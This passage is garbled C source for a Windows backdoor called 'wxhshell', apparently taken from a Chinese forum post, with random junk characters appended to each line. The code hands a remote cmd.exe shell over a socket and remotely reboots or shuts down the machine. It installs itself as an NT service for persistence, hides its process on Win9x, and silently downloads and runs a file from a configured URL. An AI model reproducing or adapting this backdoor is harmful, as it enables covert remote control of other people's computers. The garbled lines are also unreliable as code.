$_C+4[R?  
    switch(cmd[0]) { pp~3@_)b  
  [5Fd P0  
  // 帮助 > BNw  
  case '?': { s>|Z7[*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8xF)_UV  
    break; 5VR.o!h3I  
  } oYz!O]j;a  
  // 安装 ;1W6"3t-Y  
  case 'i': { pe()f/Jx(  
    if(Install()) ja[OcR-tX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p jKt:R}  
    else lC#RNjDp/~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |gnAqkW0  
    break; XFW5AP  
    } ^qxdmMp)l  
  // 卸载 NZLXN  
  case 'r': { <jeh`g  
    if(Uninstall()) +z\\VD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z%V*K  
    else ~TDzq -U)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .H8mRvd?  
    break; pOm@b `S%  
    } {odA[H  
  // 显示 wxhshell 所在路径 K@HQrv<  
  case 'p': { 0G5'Y;8  
    char svExeFile[MAX_PATH]; kMy<G8 s  
    strcpy(svExeFile,"\n\r"); 91u p^   
      strcat(svExeFile,ExeFile); .Y1bY: =  
        send(wsh,svExeFile,strlen(svExeFile),0); R<_?W#$j  
    break; 6xHi\L  
    } 3DW3LYo{  
  // 重启 GR%{T'ZD`  
  case 'b': { Z,WubX<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^'vIOq-1v  
    if(Boot(REBOOT)) d$K=c1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R:A'&;S  
    else { exQ#<x*  
    closesocket(wsh); 9? 2  
    ExitThread(0); !h CS#'  
    } :.$"kXm^  
    break; /7gi/uh~-(  
    } ^ av6HFQ  
  // 关机 Ky kSFB  
  case 'd': { nUc;/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d&jjWlHgEN  
    if(Boot(SHUTDOWN)) sqpGrW.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p0M=t-  
    else { B3mS]  
    closesocket(wsh); b`CWp;6Y  
    ExitThread(0); &>(gt<C$  
    } =g~W%})  
    break; x=]S.XI  
    } )eYDQA>J  
  // 获取shell Qz+sT6js-  
  case 's': { *N F$1  
    CmdShell(wsh); :.uk$jx  
    closesocket(wsh); J 02^i5l  
    ExitThread(0); Es.nHN^]%K  
    break; gn ?YF`  
  } J} TfRrf  
  // 退出 y+U83a[L*  
  case 'x': { )(m0cP{7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +xp]:h|  
    CloseIt(wsh); |~K(F <;j  
    break; dz%EM8  
    } rk|@B{CA;  
  // 离开 }`o? /!X   
  case 'q': { y=aV=qD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K2rzhHfb  
    closesocket(wsh); VWi2(@R^  
    WSACleanup(); !tNd\ }@  
    exit(1); T3N"CUk  
    break; @{d\j]Nw  
        } <7 )Fh*W@  
  } s0C:m  
  } kl}Xmw{tJ  
gU1#`r>[)  
  // 提示信息 A\$ >>Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H&4~Uo.5  
} Vz%OV}\  
  } W5pb;74|  
PaO- J&<  
  return; vF4]ux&  
} >#(n"RCHf  
bRo|uJ:d  
// shell模块句柄 86qI   
int CmdShell(SOCKET sock) >v+jh(^  
{ E D"!n-Hq  
STARTUPINFO si; ,EpH4*e  
ZeroMemory(&si,sizeof(si)); 4n0xE[-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @jy41eIo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gfa[4 z  
PROCESS_INFORMATION ProcessInfo; ..W-76{  
char cmdline[]="cmd"; p(JlvJjo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <a^Oj LLU  
  return 0; > m q,}!n  
} HU;#XU1  
)2e#HBnH  
// 自身启动模式 I f-_?wZe  
int StartFromService(void) Uh6 '$0  
{ ,'fxIO  
typedef struct K^l:MxO-X  
{ }8K4-[\  
  DWORD ExitStatus; b=;nm#cAI  
  DWORD PebBaseAddress; `~BZ1)@  
  DWORD AffinityMask; ~x:DXEV,  
  DWORD BasePriority; nY%5cJ`"  
  ULONG UniqueProcessId; Z|lU8`'5  
  ULONG InheritedFromUniqueProcessId; #Pk$L+C  
}   PROCESS_BASIC_INFORMATION; YDJ4c;37  
nIk$7rGLB  
PROCNTQSIP NtQueryInformationProcess; V$`Gwr]|n  
<Zb/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cre;P5^E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J3RB]O_  
OhZgcUqQ8  
  HANDLE             hProcess; hfWFD,  
  PROCESS_BASIC_INFORMATION pbi; `>C<}xO  
2x]>l? 5b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `fNpY#QsN  
  if(NULL == hInst ) return 0; o{qr!*_3  
[Nm4sI11  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Sjj>#}U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =8Jfgq9E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1c4/}3*  
DOS0;^f  
  if (!NtQueryInformationProcess) return 0; 0|4%4 Mt  
hwYQGtjF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H6*^Ga  
  if(!hProcess) return 0; H`hnEOyLp  
xM>W2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Uu s.  
/^SAC%PD  
  CloseHandle(hProcess); !|hoYU>@2L  
LkruL_E>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /*FH:T<V  
if(hProcess==NULL) return 0; uA t V".  
d[^KL;b?6  
HMODULE hMod; z4%uN |V  
char procName[255]; ipnV$!z  
unsigned long cbNeeded; H9XvO  
~/pzxo$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Qd_6)M-  
Kb#4ILA  
  CloseHandle(hProcess); S^@S%Eg  
!^#jwRpeN  
if(strstr(procName,"services")) return 1; // 以服务启动 C@ZK~Y_g  
GYxM0~:$k  
  return 0; // 注册表启动 MB^~%uZ2K  
} (/d5UIM{&  
?liK\C2Z<  
// 主模块 h` U?1xS  
int StartWxhshell(LPSTR lpCmdLine) NL=|z=q  
{ {N2g8W:  
  SOCKET wsl; W :,4:|3  
BOOL val=TRUE; 6fH@wQ"wN  
  int port=0; (/!r(#K0,'  
  struct sockaddr_in door; y.5/?{GL  
Ars687WB  
  if(wscfg.ws_autoins) Install(); 8KB>6[H!wE  
Ee)[\Qjn  
port=atoi(lpCmdLine); k Iw`P[  
Wt)Drv{@ {  
if(port<=0) port=wscfg.ws_port; 0nn okN^  
K 8n4oz#z  
  WSADATA data; 'E/*d2CDM(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y$N)^=7  
`p;eIt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D']ZlB 'K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ] 2 #  
  door.sin_family = AF_INET; NaVQ9ku7VW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u p.Q>28r  
  door.sin_port = htons(port); /V3=KY`_J  
sK{l 9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 56^ +;^f^`  
closesocket(wsl); 4S~o-`&W  
return 1; ,yd MU\so(  
} jV.g}F+1m  
CkJCi  
  if(listen(wsl,2) == INVALID_SOCKET) { 7.DtdyM  
closesocket(wsl); VrZ>bma;  
return 1; "UEv&mQ  
} 9lB]~,z  
  Wxhshell(wsl); T\Uek-(  
  WSACleanup(); iXyO(w4D  
+/#Ei'do  
return 0; >=]'hyn]]  
f;/QJ  
} [V4{c@  
* ),8PoT  
// 以NT服务方式启动 OB[o2G<0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'n<iU st  
{ j p $Z]  
DWORD   status = 0; 763+uFx^  
  DWORD   specificError = 0xfffffff; &/Ro lIHF  
2X:4CC%5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t){"Tf c:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -(O-%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _qb Ih  
  serviceStatus.dwWin32ExitCode     = 0; Pnd `=%w%]  
  serviceStatus.dwServiceSpecificExitCode = 0; ;<UWA.  
  serviceStatus.dwCheckPoint       = 0; `ptj?6N-  
  serviceStatus.dwWaitHint       = 0; n@ w^ V   
sA gKg=)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kdb(I@6  
  if (hServiceStatusHandle==0) return; : tWU .f#  
A AHt218  
status = GetLastError(); .uNQBBNv  
  if (status!=NO_ERROR) G_>#Js  
{ M$0u1~K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -s6![eV  
    serviceStatus.dwCheckPoint       = 0; k`GA\&zt  
    serviceStatus.dwWaitHint       = 0; J9K3s_SN  
    serviceStatus.dwWin32ExitCode     = status; ,gL9?Wz  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1? FrJ6 V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s7oT G!  
    return; *^([ ~[  
  } '#(v=|J  
)K'N(w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; aZEn6*0B  
  serviceStatus.dwCheckPoint       = 0; zG e'*Qei  
  serviceStatus.dwWaitHint       = 0; /r12h|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !QDQ_  
} # O4gg  
 JHf  
// 处理NT服务事件,比如:启动、停止 *D'$"@w3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q~o,WZG  
{ +za8=`2o  
switch(fdwControl) XQ4G)  
{ 8foJI^3  
case SERVICE_CONTROL_STOP: YC_1Ks  
  serviceStatus.dwWin32ExitCode = 0; &W f3~hmo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >5Wlc$bc  
  serviceStatus.dwCheckPoint   = 0; SZJ$w-<z  
  serviceStatus.dwWaitHint     = 0; nenU)*o  
  { ~EK'&Y"1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O5H9Y}i]  
  } hDV20&hq  
  return; :>itXD!  
case SERVICE_CONTROL_PAUSE: gocrjjAHk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tK k#LWB  
  break; ?BhMjsy.  
case SERVICE_CONTROL_CONTINUE: P>9aI/d9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h^j?01*Et  
  break; J[^}u_z  
case SERVICE_CONTROL_INTERROGATE: "_2Ng<2  
  break;  :ujCr.  
}; TNQP" 9[?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F#|: `$ t  
} iMfngIs |  
XJ2^MF2BU  
// 标准应用程序主函数 kh%{C] ".1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jYiv'6z  
{ vSonkJ_  
3_q3Bk  
// 获取操作系统版本 6rS$yjTX!  
OsIsNt=GetOsVer(); 9:I6( Zv0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rpw.]vnn  
^Q&u0;OJ  
  // 从命令行安装 [b:e:P 2  
  if(strpbrk(lpCmdLine,"iI")) Install(); :8A!HI}m{  
~q&pF"va8  
  // 下载执行文件 .'a&3 3J  
if(wscfg.ws_downexe) { )]#aauC+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G<M:Ak+~  
  WinExec(wscfg.ws_filenam,SW_HIDE); s&GJW@ |  
} udeoW-_  
i|1^+;  
if(!OsIsNt) { qYhs|tY)  
// 如果时win9x,隐藏进程并且设置为注册表启动 OM{WI27  
HideProc(); inlk++Og  
StartWxhshell(lpCmdLine); )G7=G+e;  
} :W@#) 1=  
else Kt0(gQOr0  
  if(StartFromService()) ?'"X"@r5  
  // 以服务方式启动 9;xM%  
  StartServiceCtrlDispatcher(DispatchTable); TNJG#8n%Y  
else MQKfJru7  
  // 普通方式启动 .5!t:FPOv  
  StartWxhshell(lpCmdLine); )*c> |7G  
:a:l j  
return 0; #Wu*3&a]yU  
}
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只看该作者 1 发表于: 2006-10-10
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